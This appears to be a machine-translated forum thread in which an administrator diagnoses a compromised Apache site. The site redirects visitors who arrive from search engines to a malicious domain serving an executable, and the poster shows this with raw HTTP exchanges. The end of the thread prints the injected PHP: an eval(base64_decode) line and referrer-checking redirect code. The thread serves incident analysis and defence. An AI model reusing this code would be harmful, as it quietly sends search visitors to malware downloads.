Apache服务器redirect来自Google的请求，妥协？

我发现一些非常可疑的东西。 在Google链接之后连接到www.pulseexpress.com时，服务器会将您redirect到某个非常可疑的站点，并立即向您发送一个.exe文件：

# host www.pulseexpress.com www.pulseexpress.com has address 173.236.189.124 # netcat 173.236.189.124 80 GET / HTTP/1.1 Host: www.pulseexpress.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20100101 Firefox/10.0.2 Iceweasel/10.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en-gb;q=0.8,en;q=0.6,de-de;q=0.4,de;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive Referer: http://www.google.com/url?sa=t&rct=j&q=&esrc=s&source=web&cd=1&ved=0CDEQFjAA&url=http%3A%2F%2Fwww.pulseexpress.com%2F&ei=JfhkT_SuGYf40gG85MW_CA&usg=AFQjCNGlomNN7JWxEG7DUzbJyqnVFYkj7w&sig2=i5xsJPgIs1sbD6gpDzJ7OQ HTTP/1.1 302 Moved Temporarily Date: Sat, 17 Mar 2012 20:53:40 GMT Server: Apache Location: http://www.fdvrerefrr.ezua.com/ Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 20 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html 

但是，如果您直接在浏览器中input地址，内容将正常提供：

 # netcat 173.236.189.124 80 GET / HTTP/1.1 Host: www.pulseexpress.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:10.0.2) Gecko/20100101 Firefox/10.0.2 Iceweasel/10.0.2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en-gb;q=0.8,en;q=0.6,de-de;q=0.4,de;q=0.2 Accept-Encoding: gzip, deflate DNT: 1 Connection: keep-alive HTTP/1.1 200 OK Date: Sat, 17 Mar 2012 20:53:51 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Expires: Mon, 1 Jan 2001 00:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: e7c55e1c7796b5e5c04e0c55afd862ea=e427sf2eh4t11jno5c4pvaal40; path=/ Set-Cookie: virtuemart=e427sf2eh4t11jno5c4pvaal40 Set-Cookie: ja_purity_tpl=ja_purity; expires=Thu, 07-Mar-2013 20:53:53 GMT; path=/ Last-Modified: Sat, 17 Mar 2012 20:53:53 GMT Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 4428 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/html; charset=utf-8 [...] 

我的猜测是这个系统已经被攻破了。 另外，这种攻击看起来并不平凡，因为Apacheconfiguration必须修改，只有一些请求被redirect – 可能使得所有者不太可能注意到这个问题。

人们是否同意这种分析？

• Windows 2008 R2 NTFS文件权限不按预期工作
• OTP与基于证书的令牌
• 我该如何着手改善办公室的无线安全（Radius？Certs？）
• Nagios硬化
• Apache / Ubuntu 9.04：我如何应对威胁并提高我的服务器环境的安全性？

这种有条件的redirect技术是否是一种新的手工技术，或者这是一个包含在标准攻击软件套件中的例行程序？

 <?php eval(base64_decode("DQplcnJvcl=")); 

 error_reporting(0); $nccv=headers_sent(); if (!$nccv){ $referer=$_SERVER['HTTP_REFERER']; $ua=$_SERVER['HTTP_USER_AGENT']; if (stristr($referer,"yahoo") or stristr($referer,"google") or stristr($referer,"bing") or stristr($referer,"yandex.ru") or stristr($referer,"rambler.ru") or stristr($referer,"mail.ru") or stristr($referer,"ask.com") or stristr($referer,"msn") or stristr($referer,"live")) { if (!stristr($referer,"cache") or !stristr($referer,"inurl")){ header("Location: http://www.fdvrerefrr.ezua.com/"); exit(); } } }